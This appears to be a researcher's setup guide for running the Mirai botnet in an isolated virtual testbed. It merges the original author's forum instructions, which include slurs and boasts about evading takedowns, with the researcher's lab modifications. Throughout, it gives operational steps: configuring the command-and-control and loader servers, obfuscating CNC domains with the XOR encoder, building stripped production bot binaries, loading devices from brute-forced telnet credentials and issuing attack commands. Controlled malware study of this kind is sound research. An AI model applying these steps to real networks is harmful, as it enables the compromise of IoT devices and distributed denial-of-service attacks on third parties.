This file details the setup created to run controlled experiments in a virtualized testbed. Its content is a merge of the learning this author acquired while creating the experimental setup and original instructions represented in the ForumPost.md file.
-
1 Server for running the following botnet services:
- Command and Control (CNC)
- MySQL
- Scan Receiver
- Loader
- Bot's binary downloading source:
- HTTP; or
- TFTP
-
1 Server for hosting both recursive and authoritative DNS. This is needed for resolving the specific domain names related to the botnet.
-
1 or more (virtual) Linux host(s) with a vulnerable Telnet server. We also have extra recommendations:
-
The host must have a privileged Telnet user with one of the credential pairs listed on
scan.c
; -
Use the official Busybox Image provided in Docker Hub. If you are using a different image, test if the bot's scanner can do the whole scanning process with the target;
-
To manually run the bot's binary, the filename must be
dvrHelper
and I don't know why.
-
If you need a more robust setup, you can isolate each service in a separate server. You can also have more than one Loader server.
- To establish connection to CNC, bots resolve a domain (
resolv.c
/resolv.h
) and connect to that IP address - Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. When finding bruted result, bot resolves another domain and reports it. This is chained to a separate server to automatically load onto devices as results come in.
- Bruted results are sent by default on port 48101. The utility called scanListen.go in tools is used to receive bruted results (I was getting around 500 bruted results per second at peak). If you build in debug mode, you should see the utitlity scanListen binary appear in debug folder.
Mirai uses a spreading mechanism similar to self-rep, but what I call
"real-time-load". Basically, bots brute results, send it to a server listening
with scanListen
utility, which sends the results to the loader. This loop
(brute -> scanListen -> load -> brute
) is known as real time loading.
The loader can be configured to use multiple IP address to bypass port exhaustion in linux (there are limited number of ports available, which means that there is not enough variation in tuple to get more than 65k simultaneous outbound connections - in theory, this value lot less). I would have maybe 60k - 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs.
Bot has several configuration options that are obfuscated in table.c/table.h
.
In ./mirai/bot/table.h
you can find most descriptions for
configuration options. However, in ./mirai/bot/table.c
there are a few options you need to change to get working.
TABLE_CNC_DOMAIN
- Domain name of CNC to connect to - DDoS avoidance very fun with mirai, people try to hit my CNC but I update it faster than they can find new IPs, lol. Retards :)TABLE_CNC_PORT
- Port to connect to, its set to 23 alreadyTABLE_SCAN_CB_DOMAIN
- When finding bruted results, this domain it is reported toTABLE_SCAN_CB_PORT
- Port to connect to for bruted results, it is set to48101
already.
In ./mirai/tools
you will find something called enc.c - You must compile this to output things to put in the table.c file
Run this inside mirai directory
./build.sh debug telnet
You will get some errors related to cross-compilers not being there if you have not configured them. This is ok, won't affect compiling the enc tool
Now, in the ./mirai/debug
folder you should see a compiled binary called enc.
For example, to get obfuscated string for domain name for bots to connect to,
use this:
./debug/enc string fuck.the.police.com
The output should look like this
XOR'ing 20 bytes of data...
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
To update the TABLE_CNC_DOMAIN
value for example, replace that long hex string
with the one provided by enc tool. Also, you see XOR'ing 20 bytes of data
.
This value must replace the last argument tas well. So for example, the table.c
line originally looks like this
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
Now that we know value from enc tool, we update it like this
add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com
Some values are strings, some are port (uint16 in network order / big endian).
Mirai's bot checks if the infected host is running in a virtualized environment.
This is an evasion technique to prevent a honeypot of identifying the actual CNC and Scan Report servers.
To disable this feature, we commented the lines 109, 112 - 115 of the ./mirai/bot/main.c
file.
apt-get install mysql-server mysql-client
CNC requires database to work. When you install database, go into it and run
the commands on the following file db.sql
This will create database for you. To add your user,
INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');
Now, go into file ./mirai/cnc/main.go
Edit these values
const DatabaseAddr string = "127.0.0.1"
const DatabaseUser string = "root"
const DatabasePass string = "password"
const DatabaseTable string = "mirai"
To the information for the mysql server you just installed
Cross compilers are easy, follow the instructions at this link to set up. You must restart your system or reload .bashrc file for these changes to take effect.
The cross-compile.sh
script will help you on thins process.
In mirai folder, there is build.sh
script.
./build.sh debug telnet
Will output debug binaries of bot that will not daemonize and print out info
about if it can connect to CNC, etc, status of floods, etc. Compiles to
./mirai/debug
folder
./build.sh release telnet
Will output production-ready binaries of bot that are extremely stripped, small
(about 60K) that should be loaded onto devices. Compiles all binaries in format:
mirai.$ARCH
to ./mirai/release
folder
Loader reads telnet entries from STDIN in following format:
ip:port user:pass
It detects if there is wget or tftp, and tries to download the binary using that. If not, it will echoload a tiny binary (about 1kb) that will suffice as wget.
./build.sh
Will build the loader, optimized, production use, no fuss. If you have a file in formats used for loading, you can do this
cat file.txt | ./loader
Remember to ulimit
!
Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, too much time. All scripts and everything are included to set up working botnet in under 1 hours. I am willing to help if you have individual questions (how come CNC not connecting to database, I did this this this blah blah), but not questions like "My bot not connect, fix it"
To carry out an attack, you must send a Netcat or Telnet message to the command and control server. The commands logic is defined on ./mirai/cnc/attack.go
but it is not easy to understand.
An example of the commands used to carry out some attacks can be found here.
-
Bot's DNS queries are pointed to one specific IP in
./mirai/bot/resolv.c
. In the original file it looked like this:addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
-
We changed the random scan IP selection algorithm in
./mirai/bot/scanner.c
between lines 678 and 717. This update assures scanning will be carried only in the intended network block defined in./mirai/bot/scanner.h
by the parametersSCAN_DST_1
,SCAN_DST_2
,SCAN_DST_3
,SCAN_DST_4
, andSCAN_DST_MASK
. -
File
./scripts/db.sql
now adds a default user in the management DB. -
It is recommended to use the
./mirai/alt_build.sh
file to build Mirai's bot and CNC. This will reduce or prevent most of the compilation errors. -
Lines 292 and 302 of
./loader/src/server.c
were comented for providing a cleaner output. -
CNC port is set to
2030
in./mirai/bot/table.c
and./mirai/cnc/main.go